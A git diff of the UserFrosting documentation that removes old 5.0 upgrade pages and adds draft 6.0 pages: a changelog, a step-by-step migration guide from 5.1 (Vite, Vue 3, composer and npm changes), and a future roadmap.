-You may be thinking at this point, how easy will it be to update to future version? The new structure has been created to make this easier. With UserFrosting 4, your Sprinkle where typically a fork of the whole UserFrosting project. This meant upgrading involved a complex git command to fetch upstream updates.
-
-With UserFrosting 5, updating should be as simple as doing `composer update`. 
-
-- Revision versions (5.0.x) will require only `composer update` and `php bakery bake`;
-- Minor versions (5.x) will require `composer update`, `php bakery bake`, and optional upgrade tasks in an upgrade page;
-- Major version (6.0) will have a dedicated upgrade guide;
-
-Our commitment for UserFrosting 5 is for all bundled sprinkles (Core, Account, Admin and AdminLTE) and the Framework to follow the same "minor" version number. They might not have the same revision, but assuming you're starting with the "5.1" skeleton, you'll have "5.1" version of bundled sprinkle as well as the framework.
-
-## The Roadmap
-
-Now that UserFrosting 5 has been release, what does the future hold for the UserFrosting community? Here's a preview of what's planned for future versions. As always, your help and support is greatly appreciated. If you want to get involved in the future of UserFrosting, this list should help you get started with topic that you can get involved with.
-
-### UserFrosting 5.0.x
-
-The main focus of UserFrosting 5.0.x is to squash some bugs, and improve the code quality.
-
- - Address all "todo" inside the code;
- - Fix bugs in the login
- - Etc.
-
-### UserFrosting 5.1
-
-The main focus of UserFrosting 5.1 is :
-
-- Officially add PHP 8.3 support, drop PHP 8.1
-- Update locales (translations), move them to their custom sprinkle
-- Update Fontawesome
-- 100% test coverage on the core Sprinkle;
-- Improve Docker support
-- Remove Assets in Framework
-- Update Laravel
-- Add automated test on MariaDB
-- Etc.
-
-### UserFrosting 6
-
-Yes, UserFrosting 6 is already being planned! While UF5 goal was to completely rewrite the PHP backend, UF6 goal will be to completely rewrite the frontend !
-
-- Brand new custom theme, replacing AdminLTE, based on [UIKit](https://getuikit.com)
-- Replacing Handlebar and every frontend javascript code with [Vue.js](https://vuejs.org)
-
-The best part is UserFrosting 5 introduced the necessary tools to make this transition works. It could in fact be entirely possible to create the new frontend on UserFrosting 5 as an optional sprinkle! However, the goal for UserFrosting 6 is to make this new frontend the default one.
-
-You can find a proof of concept of this new Vue.js based UI (built in UF5 beta) here : [https://github.com/userfrosting/demo-vue/tree/main](https://github.com/userfrosting/demo-vue/tree/main)
diff --git a/app/pages/6.0/22.upgrading/01.46-to-50/chapter.md b/app/pages/6.0/22.upgrading/01.46-to-50/chapter.md
deleted file mode 100644
index fd85ab9e..00000000
--- a/app/pages/6.0/22.upgrading/01.46-to-50/chapter.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: 4.x to 5.0
-description: Upgrade guide for UserFrosting 5
-obsolete: true
----
-
-# Upgrading to UserFrosting 5
-
-Welcome, intrepid developers, to the wonders of **UserFrosting 5**! Since you're here, it's probably because you already enjoy UserFrosting 4 and you're willing to take your first step into the UserFrosting 5 journey. That's makes you awesome! Take a cupcake for the road and follow the next page as we go through the complex yet simple process.
-
-> [!NOTE]
-> If you're coming for a version older than UserFrosting 4, then you're even more awesome! You _definitely_ deserve a cupcake! If this is your case, you should consider [upgrading to V4 first](4.6/upgrading/3x-to-40), or start from scratch.
\ No newline at end of file
diff --git a/app/pages/6.0/22.upgrading/01.51-to-60/01.changelog/docs.md b/app/pages/6.0/22.upgrading/01.51-to-60/01.changelog/docs.md
new file mode 100644
index 00000000..1abaae05
--- /dev/null
+++ b/app/pages/6.0/22.upgrading/01.51-to-60/01.changelog/docs.md
@@ -0,0 +1,334 @@
+---
+title: What's New in 6.0
+description: Comprehensive changelog of new features, improvements, and breaking changes in UserFrosting 6.0
+wip: true
+---
+
+# UserFrosting 6.0 Changelog
+
+This page provides a comprehensive overview of changes in UserFrosting 6.0. For detailed migration instructions, see the [Migration Guide](upgrading/51-to-60/guide).
+
+## Major Changes
+
+### Unified Monorepo Architecture
+
+**What Changed**: UserFrosting has consolidated from six separate repositories into a single monorepo.
+
+**Before (5.1)**:
+```
+userfrosting/UserFrosting      (Skeleton)
+userfrosting/framework          (Core Framework)
+userfrosting/sprinkle-core      (Core Sprinkle)
+userfrosting/sprinkle-account   (Account Sprinkle)
+userfrosting/sprinkle-admin     (Admin Sprinkle)
+userfrosting/theme-adminlte     (AdminLTE Theme)
+```
+
+**After (6.0)**:
+```
+userfrosting/monorepo           (Everything)
+```
+
+**Impact**:
+- Simpler dependency management
+- Consistent versioning across all components
+- Easier development and contribution workflow
+- Faster releases and bug fixes
+
+### Frontend Stack Overhaul
+
+#### Vite Replaces Webpack Encore
+
+**What Changed**: Asset bundling moved from Webpack Encore to Vite.
+
+**Key Benefits**:
+- ⚡ **Instant dev server**: No more waiting for compilation—changes appear in milliseconds
+- 🔥 **Hot Module Replacement**: Update code without losing application state
+- 📦 **Optimized builds**: Smaller bundles with automatic code splitting
+- 🎯 **Better DX**: Clearer error messages and simpler configuration
+
+**Breaking Changes**:
+- `webpack.config.js` → `vite.config.ts`
+- `encore` CLI commands → `php bakery assets:vite` commands
+- Different asset URL structure in development
+- Asset manifest format changed
+
+#### Vue 3 & TypeScript First-Class Support
+
+**What Changed**: Modern JavaScript development is now the default.
+
+**New Features**:
+- Vue 3 Single File Components (`.vue`) with `<script setup>` syntax
+- Full TypeScript support out of the box
+- Composition API for better code organization
+- Better tree-shaking for smaller bundles
+
+**Migration Notes**:
+- Vue 2 components need updating to Vue 3 syntax
+- Options API still supported but Composition API recommended
+- TypeScript optional but strongly encouraged for new code
+
+#### UIkit 3 in AdminLTE Theme
+
+**What Changed**: AdminLTE theme now uses UIkit 3 instead of Bootstrap.
+
+**Why**: UIkit provides:
+- Modern component design
+- Better LESS integration
+- Lightweight and flexible
+- Excellent customization options
+
+**Impact**:
+- Custom Bootstrap themes need conversion to UIkit
+- Some component APIs have changed
+- LESS variables and mixins are different
+
+### PHP & Dependency Updates
+
+#### Minimum PHP Version: 8.1
+
+**What Changed**: Dropped support for PHP 8.0.
+
+**Why**: PHP 8.1+ provides:
+- Enumerations (enums)
+- Readonly properties
+- First-class callable syntax
+- Better performance
+- Security improvements
+
+#### Updated Dependencies
+
+Major dependency updates:
+- Laravel Components: 11.x
+- PHPUnit: 11.x
+- Symfony Components: 7.x
+- Eloquent ORM: 11.x
+
+### Development Workflow Improvements
+
+#### Bakery CLI Enhancements
+
+**New Commands**:
+```bash
+php bakery assets:vite       # Start Vite dev server
+php bakery assets:build      # Build assets for production
+```
+
+**Improved Commands**:
+- `php bakery serve` - Enhanced with better output
+- `php bakery bake` - Streamlined installation process
+
+#### Dual Server Development
+
+**New Workflow**:
+```bash
+# Terminal 1: PHP backend
+php bakery serve
+
+# Terminal 2: Vite frontend (with HMR)
+npm run vite:dev
+```
+
+**Benefits**:
+- Frontend changes appear instantly (HMR)
+- Backend remains stable and reliable
+- Clear separation of concerns
+- Better error handling
+
+## API Changes
+
+### Breaking Changes
+
+> [!WARNING]
+> These changes require code updates in your application.
+
+#### Asset Loading in Twig Templates
+
+**Before (5.1)**:
+```twig
+{{ encore_entry_script_tags('app') }}
+{{ encore_entry_link_tags('app') }}
+```
+
+**After (6.0)**:
+```twig
+{{ vite_js('main.ts') }}
+{{ vite_css('main.ts') }}
+```
+
+#### Configuration Structure
+
+**Changed**: Some configuration keys have been reorganized.
+
+**Before (5.1)**:
+```php
+'assets' => [
+    'webpack' => [
+        'manifest' => 'manifest.json'
+    ]
+]
+```
+
+**After (6.0)**:
+```php
+'assets' => [
+    'vite' => [
+        'dev' => env('VITE_DEV_SERVER', false),
+        'manifest' => '.vite/manifest.json'
+    ]
+]
+```
+
+#### Sprinkle Asset Structure
+
+**Changed**: Asset organization within sprinkles.
+
+**Before (5.1)**:
+```
+app/sprinkles/custom/
+├── assets/
+│   ├── webpack.config.js
+│   └── src/
+│       └── app.js
+```
+
+**After (6.0)**:
+```
+app/sprinkles/custom/
+├── assets/
+│   ├── vite.config.ts
+│   └── main.ts
+```
+
+### Deprecations
+
+#### jQuery & Handlebars
+
+**Status**: Still available but **deprecated**.
+
+**What This Means**:
+- Existing jQuery code continues to work
+- New development should use Vue 3
+- Handlebars client-side templating replaced by Vue templates
+- Will be removed in a future major version
+
+**Migration Path**:
+- Gradually convert jQuery to Vue 3 components
+- Replace Handlebars with Vue's template syntax
+- Use TypeScript for new features
+
+#### Webpack Encore Support
+
+**Status**: Maintained for **backward compatibility only**.
+
+**What This Means**:
+- Existing Webpack setups continue working
+- New projects should use Vite
+- Webpack documentation moved to legacy section
+- Limited new features for Webpack
+
+**Migration Path**:
+- Plan migration to Vite for long-term projects
+- Follow [Webpack to Vite migration guide](asset-management/webpack-encore)
+- No immediate pressure to migrate stable applications
+
+## New Features
+
+### Asset Management
+
+- **Hot Module Replacement**: Instant updates during development
+- **Code Splitting**: Automatic chunking for better performance
+- **Tree Shaking**: Unused code automatically removed
+- **Source Maps**: Better debugging with mapped TypeScript/Vue
+- **Legacy Browser Support**: Automatic polyfills when needed
+
+### Developer Tools
+
+- **Vue DevTools**: First-class debugging support
+- **TypeScript Checking**: Type safety across your application
+- **ESLint Integration**: Modern linting for Vue/TS/JS
+- **Vitest**: Fast, Vite-native testing framework
+
+### Performance Improvements
+
+- **Faster Build Times**: Vite builds 2-10x faster than Webpack
+- **Smaller Bundle Sizes**: Better tree-shaking and minification
+- **Optimized Dev Server**: Instant startup, no bundling
+- **Better Caching**: Improved cache strategies for production
+
+## Removals
+
+### Removed Dependencies
+
+The following are no longer included by default:
+
+- ❌ **jQuery** (deprecated, use Vue 3)
+- ❌ **Bootstrap** in AdminLTE (replaced by UIkit)
+- ❌ **Handlebars** (deprecated, use Vue templates)
+- ❌ **Webpack Encore** (use Vite instead)
+- ❌ **Several legacy npm packages** (see package.json diff)
+
+### Removed PHP Support
+
+- ❌ **PHP 7.4**: End of life
+- ❌ **PHP 8.0**: Superseded by 8.1
+
+## Database & ORM
+
+### Changes
+
+- Updated to **Eloquent 11.x**
+- Better query performance
+- Enhanced relationship loading
+- Improved migration system
+
+### Breaking Changes
+
+Minor API adjustments in Eloquent 11.x:
+- Some method signatures updated
+- Deprecated methods removed
+- Better type hints
+
+## Testing
+
+### Changes
+
+- **PHPUnit 11.x**: Latest testing framework
+- **Vitest**: For frontend unit tests
+- Better test helpers and factories
+- Improved coverage reporting
+
+### New Testing Features
+
+```bash
+# Frontend tests with Vitest
+npm run test
+npm run coverage
+
+# Backend tests with PHPUnit
+vendor/bin/phpunit
+```
+
+## Security Updates
+
+- PHP 8.1+ security improvements
+- Updated security dependencies
+- Improved CSRF protection
+- Better session management
+
+## Documentation Updates
+
+- Complete rewrite for 6.0 architecture
+- New frontend development guides
+- Vite configuration examples
+- Vue 3 component patterns
+- Migration guides from 5.1
+
+## Known Issues
+
+> [!NOTE]
+> Check the [GitHub Issues](https://github.com/userfrosting/monorepo/issues) for the latest known issues and workarounds.
+
+## What's Next?
+
+See [What to Expect](upgrading/51-to-60/what-to-expect) for information about the future roadmap and planned features beyond 6.0.
diff --git a/app/pages/6.0/22.upgrading/01.51-to-60/02.guide/docs.md b/app/pages/6.0/22.upgrading/01.51-to-60/02.guide/docs.md
new file mode 100644
index 00000000..693da371
--- /dev/null
+++ b/app/pages/6.0/22.upgrading/01.51-to-60/02.guide/docs.md
@@ -0,0 +1,672 @@
+---
+title: Step-by-Step Migration Guide
+description: Detailed instructions for upgrading your UserFrosting 5.1 application to 6.0
+wip: true
+---
+
+# Migration Guide: UserFrosting 5.1 → 6.0
+
+This guide walks you through upgrading an existing UserFrosting 5.1 application to version 6.0. Follow these steps carefully and test thoroughly in a development environment before deploying to production.
+
+> [!IMPORTANT]
+> **Backup Everything**: Before starting, create backups of your application code, database, and any user-uploaded files. This upgrade includes breaking changes that may require significant testing.
+
+## Prerequisites
+
+Before beginning the upgrade:
+
+- [ ] Running latest UserFrosting 5.1.x
+- [ ] PHP 8.1 or higher installed (8.4 recommended)
+- [ ] Composer 2 installed
+- [ ] Node.js 18.0+ installed (LTS 24 recommended)
+- [ ] npm 9.0+ installed
+- [ ] Backed up database and application files
+- [ ] Development environment ready for testing
+
+## Step 1: Prepare Your Environment
+
+### Update System Requirements
+
+Ensure your development environment meets UserFrosting 6.0 requirements:
+
+```bash
+# Check PHP version (must be 8.1+)
+php -v
+
+# Check Composer version (must be 2.x)
+composer --version
+
+# Check Node.js version (must be 18+)
+node --version
+
+# Check npm version (must be 9+)
+npm --version
+```
+
+If any versions are below requirements, update them before proceeding.
+
+### Create a Testing Branch
+
+```bash
+# Create a new branch for the upgrade
+git checkout -b upgrade-to-6.0
+
+# Ensure working directory is clean
+git status
+```
+
+## Step 2: Update Composer Dependencies
+
+### Backup composer.json
+
+```bash
+cp composer.json composer.json.backup
+```
+
+### Update Framework Dependency
+
+**Before (5.1)** - `composer.json`:
+```json
+{
+    "require": {
+        "userfrosting/framework": "~5.1.0"
+    }
+}
+```
+
+**After (6.0)** - `composer.json`:
+```json
+{
+    "require": {
+        "userfrosting/userfrosting": "^6.0"
+    }
+}
+```
+
+> [!NOTE]
+> The package name changed from `userfrosting/framework` to `userfrosting/userfrosting` to reflect the monorepo structure.
+
+### Update PHP Version Constraint
+
+Update the minimum PHP version in `composer.json`:
+
+```json
+{
+    "require": {
+        "php": "^8.1"
+    }
+}
+```
+
+### Remove Obsolete Dependencies
+
+The following dependencies are now included in the monorepo and should be removed from your `composer.json`:
+
+```json
+// REMOVE these if present:
+"userfrosting/sprinkle-core": "*",
+"userfrosting/sprinkle-account": "*",
+"userfrosting/sprinkle-admin": "*",
+"userfrosting/theme-adminlte": "*"
+```
+
+### Run Composer Update
+
+```bash
+# Update dependencies
+composer update
+
+# Clear Composer cache if you encounter issues
+composer clear-cache
+composer update
+```
+
+> [!WARNING]
+> This step may take several minutes as Composer downloads updated dependencies.
+
+## Step 3: Update npm Dependencies
+
+### Backup package.json
+
+```bash
+cp package.json package.json.backup
+```
+
+### Remove Webpack Encore Dependencies
+
+Remove Webpack-related packages from `package.json`:
+
+```json
+// REMOVE these from devDependencies:
+"@symfony/webpack-encore": "^*",
+"webpack": "^*",
+"webpack-cli": "^*",
+"webpack-dev-server": "^*",
+// ... other webpack-related packages
+```
+
+### Add Vite Dependencies
+
+Add Vite and related packages to `package.json`:
+
+```json
+{
+    "devDependencies": {
+        "vite": "^6.0.0",
+        "@vitejs/plugin-vue": "^5.0.0",
+        "vue": "^3.3.0",
+        "typescript": "^5.4.0",
+        "vue-tsc": "^2.0.0"
+    }
+}
+```
+
+> [!TIP]
+> See the [monorepo package.json](https://github.com/userfrosting/monorepo/blob/6.0/package.json) for the complete list of recommended dependencies.
+
+### Update npm Scripts
+
+Update the scripts section in `package.json`:
+
+**Before (5.1)**:
+```json
+{
+    "scripts": {
+        "dev": "encore dev",
+        "watch": "encore dev --watch",
+        "build": "encore production"
+    }
+}
+```
+
+**After (6.0)**:
+```json
+{
+    "scripts": {
+        "vite:dev": "vite",
+        "vite:build": "vue-tsc && vite build",
+        "typecheck": "vue-tsc --noEmit"
+    }
+}
+```
+
+### Install Dependencies
+
+```bash
+# Remove old node_modules and lock file
+rm -rf node_modules package-lock.json
+
+# Install fresh dependencies
+npm install
+```
+
+## Step 4: Configure Vite
+
+### Create vite.config.ts
+
+Create a new `vite.config.ts` file in your project root:
+
+```typescript
+import { defineConfig } from 'vite'
+import vue from '@vitejs/plugin-vue'
+
+export default defineConfig({
+    plugins: [
+        vue(),
+    ],
+    server: {
+        host: true,
+        strictPort: true,
+        port: 5173,
+        origin: 'http://localhost:5173',
+    },
+    root: 'app/assets/',
+    base: '/assets/',
+    build: {
+        outDir: '../../public/assets',
+        assetsDir: '',
+        emptyOutDir: true,
+        manifest: true,
+        rollupOptions: {
+            input: {
+                main: 'app/assets/main.ts',
+            }
+        }
+    },
+    optimizeDeps: {
+        include: ['uikit', 'uikit/dist/js/uikit-icons']
+    }
+})
+```
+
+### Remove Webpack Configuration
+
+```bash
+# Remove old Webpack config files
+rm webpack.config.js
+rm webpack.mix.js  # if present
+rm -rf app/assets/webpack  # if present
+```
+
+## Step 5: Migrate Asset Files
+
+### Restructure Asset Directory
+
+**Before (5.1)** structure:
+```
+app/assets/
+├── webpack.config.js
+├── src/
+│   ├── app.js
+│   └── app.scss
+└── public/
+    └── images/
+```
+
+**After (6.0)** structure:
+```
+app/assets/
+├── main.ts          # Main entry point
+├── theme.less       # Main stylesheet
+├── components/      # Vue components
+│   └── MyComponent.vue
+├── css/            # Additional styles
+└── public/         # Static assets
+    └── images/
+```
+
+### Create Main Entry Point
+
+Create `app/assets/main.ts`:
+
+```typescript
+import { createApp } from 'vue'
+import './theme.less'
+
+// Import your components
+// import MyComponent from './components/MyComponent.vue'
+
+// Initialize Vue app
+const app = createApp({})
+
+// Register global components
+// app.component('MyComponent', MyComponent)
+
+// Mount to DOM when ready
+document.addEventListener('DOMContentLoaded', () => {
+    app.mount('#app')
+})
+```
+
+### Rename/Convert Style Files
+
+```bash
+# Rename SCSS to LESS (or convert if needed)
+mv app/assets/src/app.scss app/assets/theme.less
+
+# Or create a new theme.less file
+touch app/assets/theme.less
+```
+
+> [!TIP]
+> UIkit uses LESS, so converting your styles to LESS provides better integration. However, Vite also supports SCSS if you prefer to keep it.
+
+## Step 6: Update Configuration
+
+### Update Configuration Files
+
+Update your `.env` file:
+
+```bash
+# Add Vite dev server flag
+VITE_DEV_SERVER=true
+```
+
+Update configuration in `app/config/default.php` (or your custom config):
+
+**Before (5.1)**:
+```php
+'assets' => [
+    'webpack' => [
+        'manifest' => 'manifest.json'
+    ]
+]
+```
+
+**After (6.0)**:
+```php
+'assets' => [
+    'vite' => [
+        'dev' => env('VITE_DEV_SERVER', false),
+        'manifest' => '.vite/manifest.json'
+    ]
+]
+```
+
+## Step 7: Update Twig Templates
+
+### Replace Asset Helper Functions
+
+Find and replace all asset loading functions in your Twig templates:
+
+**Before (5.1)**:
+```twig
+{{ encore_entry_script_tags('app') }}
+{{ encore_entry_link_tags('app') }}
+```
+
+**After (6.0)**:
+```twig
+{{ vite_js('main.ts') }}
+{{ vite_css('main.ts') }}
+```
+
+> [!TIP]
+> Use find-and-replace in your editor to update all templates at once:
+> - Find: `encore_entry_script_tags\('([^']+)'\)`
+> - Replace: `vite_js('$1.ts')`
+
+### Search All Templates
+
+```bash
+# Find all templates using Encore helpers
+grep -r "encore_entry" app/templates/
+
+# Verify no Encore references remain
+grep -r "encore" app/templates/
+```
+
+## Step 8: Migrate Custom JavaScript
+
+### Convert to ES Modules
+
+If you have custom JavaScript, convert it to ES modules:
+
+**Before (5.1)** - `custom.js`:
+```javascript
+// CommonJS or global scope
+var MyModule = {
+    init: function() {
+        // ...
+    }
+};
+```
+
+**After (6.0)** - `custom.ts`:
+```typescript
+// ES Module with TypeScript
+export class MyModule {
+    static init(): void {
+        // ...
+    }
+}
+```
+
+### Update jQuery Code (Optional but Recommended)
+
+If you have jQuery code, consider migrating to Vue 3:
+
+**Before (5.1)** - jQuery:
+```javascript
+$(document).ready(function() {
+    $('#myButton').on('click', function() {
+        $('#myDiv').toggle();
+    });
+});
+```
+
+**After (6.0)** - Vue 3:
+```vue
+<template>
+    <button @click="toggleDiv">Toggle</button>
+    <div v-if="showDiv">Content</div>
+</template>
+
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const showDiv = ref(false)
+const toggleDiv = () => {
+    showDiv.value = !showDiv.value
+}
+</script>
+```
+
+> [!NOTE]
+> jQuery is deprecated but still supported in 6.0. You can migrate gradually, but new code should use Vue 3.
+
+## Step 9: Update Custom Sprinkles
+
+### Update Sprinkle Structure
+
+If you have custom sprinkles, update their structure:
+
+**Before (5.1)**:
+```
+app/sprinkles/mysprinkle/
+├── composer.json
+├── assets/
+│   └── webpack.config.js
+├── src/
+└── templates/
+```
+
+**After (6.0)**:
+```
+app/sprinkles/mysprinkle/
+├── composer.json
+├── assets/
+│   ├── vite.config.ts  # If needed
+│   └── main.ts
+├── src/
+└── templates/
+```
+
+### Update Sprinkle Recipe
+
+Verify your sprinkle's Recipe class is compatible with UserFrosting 6.0. Most sprinkle recipes should work without changes, but review the [Sprinkles documentation](sprinkles) for any API changes.
+
+## Step 10: Database Migrations
+
+### Run Migrations
+
+UserFrosting 6.0 includes database updates:
+
+```bash
+# Run migrations
+php bakery migrate
+
+# If you encounter issues, rollback and retry
+php bakery migrate:rollback
+php bakery migrate
+```
+
+### Verify Database
+
+Check that all tables are present and properly structured:
+
+```bash
+# Check migration status
+php bakery migrate:status
+```
+
+## Step 11: Build and Test
+
+### Build Assets
+
+```bash
+# Build assets for production
+npm run vite:build
+
+# Verify build output
+ls -la public/assets/
+```
+
+### Start Development Servers
+
+Open two terminals:
+
+**Terminal 1** - PHP backend:
+```bash
+php bakery serve
+```
+
+**Terminal 2** - Vite frontend:
+```bash
+npm run vite:dev
+```
+
+### Test Your Application
+
+Visit `http://localhost:8080` and thoroughly test:
+
+- [ ] Homepage loads correctly
+- [ ] Login/logout functionality
+- [ ] User registration
+- [ ] Admin panel access
+- [ ] All custom features
+- [ ] API endpoints
+- [ ] Forms and validation
+- [ ] Asset loading (check browser console for errors)
+
+### Check Browser Console
+
+Open browser DevTools (F12) and verify:
+- No JavaScript errors
+- Assets loading correctly (200 status codes)
+- No 404 errors for missing files
+
+## Step 12: Production Deployment
+
+### Build Production Assets
+
+```bash
+# Build optimized production assets
+npm run vite:build
+
+# Verify build output
+ls -la public/assets/.vite/
+```
+
+### Update Environment Variables
+
+In production `.env`:
+
+```bash
+# Disable Vite dev server
+VITE_DEV_SERVER=false
+```
+
+### Deploy
+
+Follow your normal deployment process, ensuring:
+
+- Built assets are deployed (`public/assets/`)
+- Dependencies are installed (`composer install --no-dev`)
+- Configuration is set for production
+- Database migrations are run
+
+### Clear Caches
+
+```bash
+# Clear application caches
+php bakery cache:clear
+
+# Clear route cache
+php bakery cache:clear-routes
+```
+
+## Troubleshooting Common Issues
+
+### "Cannot find module" Errors
+
+**Symptom**: Vite can't find imported modules
+
+**Solution**:
+```bash
+# Clear node_modules and reinstall
+rm -rf node_modules package-lock.json
+npm install
+```
+
+### Assets Not Loading
+
+**Symptom**: 404 errors for assets in browser
+
+**Solution**:
+- Verify `vite.config.ts` paths are correct
+- Check `.env` has correct `VITE_DEV_SERVER` setting
+- Ensure Vite dev server is running (development)
+- Verify assets are built (`public/assets/`) (production)
+
+### Vue Components Not Rendering
+
+**Symptom**: Vue components don't appear on page
+
+**Solution**:
+- Check browser console for Vue errors
+- Verify Vue is imported in `main.ts`
+- Ensure components are properly registered
+- Check that mounting point (`#app`) exists in template
+
+### Database Migration Errors
+
+**Symptom**: Migrations fail to run
+
+**Solution**:
+```bash
+# Reset and re-run migrations (DEVELOPMENT ONLY)
+php bakery migrate:reset
+php bakery migrate
+
+# Check migration status
+php bakery migrate:status
+```
+
+### Performance Issues in Development
+
+**Symptom**: Slow page loads during development
+
+**Solution**:
+- Ensure Vite dev server is running (`npm run vite:dev`)
+- Check `optimizeDeps` in `vite.config.ts`
+- Clear Vite cache: `rm -rf node_modules/.vite`
+
+## Rollback Plan
+
+If you need to rollback to 5.1:
+
+```bash
+# Restore backups
+git checkout main
+cp composer.json.backup composer.json
+cp package.json.backup package.json
+
+# Reinstall old dependencies
+composer install
+npm install
+
+# Restore database from backup
+# (use your database backup restore process)
+```
+
+## Next Steps
+
+After successfully upgrading:
+
+1. **Review Documentation**: Read through the updated [Asset Management](asset-management) chapter
+2. **Optimize Assets**: Learn about [Vite Configuration](asset-management/vite-configuration) for performance tuning
+3. **Modernize Code**: Gradually convert jQuery to Vue 3 components
+4. **Add TypeScript**: Consider adding type safety to your custom code
+5. **Explore Features**: Check out new Vite features like HMR and code splitting
+
+## Getting Help
+
+If you encounter issues:
+
+- **Documentation**: [UserFrosting Learn](/)
+- **Community Chat**: [chat.userfrosting.com](https://chat.userfrosting.com)
+- **GitHub Issues**: [github.com/userfrosting/monorepo/issues](https://github.com/userfrosting/monorepo/issues)
+- **Stack Overflow**: Tag questions with `userfrosting`
+
+Congratulations on upgrading to UserFrosting 6.0! 🎉
diff --git a/app/pages/6.0/22.upgrading/01.51-to-60/03.what-to-expect/docs.md b/app/pages/6.0/22.upgrading/01.51-to-60/03.what-to-expect/docs.md
new file mode 100644
index 00000000..50a62dec
--- /dev/null
+++ b/app/pages/6.0/22.upgrading/01.51-to-60/03.what-to-expect/docs.md
@@ -0,0 +1,376 @@
+---
+title: What to Expect After 6.0
+description: Future roadmap and plans for UserFrosting beyond version 6.0
+wip: true
+---
+
+# What to Expect After UserFrosting 6.0
+
+UserFrosting 6.0 represents a major milestone in the framework's evolution, but it's not the end of the journey. This page outlines what you can expect in terms of updates, maintenance, and future development.
+
+## Version Support Policy
+
+### UserFrosting 6.0 (Current)
+
+**Status**: Active Development & Support
+
+- **New Features**: Regular feature additions
+- **Bug Fixes**: Prompt bug fixes and improvements
+- **Security Updates**: Immediate security patches
+- **Documentation**: Continuously updated and improved
+- **Community Support**: Active help via chat and GitHub
+
+**Recommended For**: All new projects and actively maintained applications.
+
+### UserFrosting 5.1 (Legacy)
+
+**Status**: Security Maintenance Only
+
+- **New Features**: ❌ No new features
+- **Bug Fixes**: ⚠️ Critical bugs only
+- **Security Updates**: ✅ Security patches for 12-18 months from 6.0 release
+- **Documentation**: 🔒 Frozen (available at [learn.userfrosting.com/5.1](https://learn.userfrosting.com/5.1))
+- **Community Support**: ⚠️ Limited, focus shifted to 6.0
+
+**End of Life**: Approximately 12-18 months after UserFrosting 6.0 stable release.
+
+**Recommended For**: Stable production applications that don't need new features and can't allocate migration time.
+
+## Release Cadence
+
+### Minor Releases (6.1, 6.2, etc.)
+
+**Frequency**: Every 3-4 months
+
+**What to Expect**:
+- New features that don't break backward compatibility
+- Performance improvements
+- Developer experience enhancements
+- Additional documentation and examples
+- Dependency updates (within semver constraints)
+
+**Example Features**:
+- Additional Vue 3 components
+- New Bakery CLI commands
+- Enhanced debugging tools
+- More Vite plugins and optimizations
+- Improved testing utilities
+
+### Patch Releases (6.0.1, 6.0.2, etc.)
+
+**Frequency**: As needed (typically every 2-4 weeks)
+
+**What to Expect**:
+- Bug fixes
+- Security patches
+- Documentation corrections
+- Dependency security updates
+- Performance optimizations
+
+## Planned Features & Improvements
+
+> [!NOTE]
+> The following are **potential future features** being considered. They are not commitments, and priorities may change based on community feedback and maintainer availability.
+
+### Short-Term (Next 6 Months)
+
+#### Enhanced Vue 3 Components Library
+
+**Status**: Under Development
+
+**Description**: A comprehensive set of pre-built Vue 3 components for common UserFrosting patterns:
+- Data tables with sorting, filtering, pagination
+- Form builders with validation
+- Modal dialogs
+- Alert/notification system
+- User pickers and role selectors
+
+**Why**: Reduce boilerplate and speed up development.
+
+#### Improved TypeScript Support
+
+**Status**: Planned
+
+**Description**:
+- Complete type definitions for all UserFrosting services
+- Type-safe API client generation
+- Better IDE autocomplete and error checking
+- Stricter type checking in core components
+
+**Why**: Catch errors earlier and improve developer experience.
+
+#### Testing Tools & Examples
+
+**Status**: In Progress
+
+**Description**:
+- More comprehensive testing documentation
+- Example test suites for common scenarios
+- Better factory definitions
+- Integration test helpers
+- Frontend testing with Vitest
+
+**Why**: Make testing easier and encourage test-driven development.
+
+### Mid-Term (6-12 Months)
+
+#### GraphQL API Option
+
+**Status**: Exploring
+
+**Description**: Optional GraphQL API layer alongside REST:
+- Type-safe queries and mutations
+- Efficient data fetching (no over/under-fetching)
+- Better support for complex frontend applications
+- Subscriptions for real-time features
+
+**Why**: Modern alternative to REST for complex data requirements.
+
+#### Enhanced CLI Tools
+
+**Status**: Planned
+
+**Description**:
+- Interactive sprinkle generator (`bakery make:sprinkle`)
+- Component scaffolding (`bakery make:vue-component`)
+- Migration helpers (`bakery make:migration`)
+- Better error messages and debugging output
+
+**Why**: Speed up common development tasks.
+
+#### Performance Monitoring
+
+**Status**: Exploring
+
+**Description**:
+- Built-in performance profiling
+- Database query logging and analysis
+- Asset loading optimization suggestions
+- Production monitoring hooks
+
+**Why**: Help developers identify and fix performance bottlenecks.
+
+### Long-Term (12+ Months)
+
+#### Headless CMS Mode
+
+**Status**: Concept
+
+**Description**: Optional headless mode where UserFrosting acts as a pure API backend:
+- Decoupled frontend deployment
+- Mobile app support
+- Third-party integration
+- Multi-frontend architecture
+
+**Why**: Support modern application architectures.
+
+#### Plugin Marketplace
+
+**Status**: Concept
+
+**Description**: A curated marketplace for UserFrosting extensions:
+- Vetted third-party sprinkles
+- Easy installation and updates
+- Quality ratings and reviews
+- Commercial and free options
+
+**Why**: Foster ecosystem growth and make extending UserFrosting easier.
+
+#### Multi-Tenancy Support
+
+**Status**: Concept
+
+**Description**: Built-in support for multi-tenant applications:
+- Tenant isolation
+- Shared or separate databases
+- Per-tenant customization
+- Tenant-aware routing and assets
+
+**Why**: Support SaaS applications built with UserFrosting.
+
+## Breaking Changes Policy
+
+UserFrosting follows [Semantic Versioning](https://semver.org/):
+
+### Major Versions (7.0, 8.0, etc.)
+
+**Frequency**: Every 2-3 years
+
+**May Include**:
+- Breaking API changes
+- Removal of deprecated features
+- Major architectural changes
+- Updated system requirements
+- New best practices
+
+**Migration**: Comprehensive upgrade guides provided.
+
+### Minor Versions (6.1, 6.2, etc.)
+
+**Frequency**: Every 3-4 months
+
+**Guarantees**:
+- ✅ Backward compatible
+- ✅ Safe to upgrade
+- ✅ Deprecations may be introduced (with warnings)
+- ✅ No breaking changes
+
+**Migration**: Usually drop-in replacement, minimal changes needed.
+
+### Patch Versions (6.0.1, 6.0.2, etc.)
+
+**Frequency**: As needed
+
+**Guarantees**:
+- ✅ Bug fixes only
+- ✅ No new features
+- ✅ No API changes
+- ✅ Safe to upgrade immediately
+
+**Migration**: No code changes required.
+
+## Deprecation Strategy
+
+When features are deprecated:
+
+1. **Announcement**: Deprecated features are clearly marked in documentation
+2. **Warning Period**: At least one minor version before removal
+3. **Alternatives**: Migration path provided to new approach
+4. **Support**: Deprecated features continue working until next major version
+
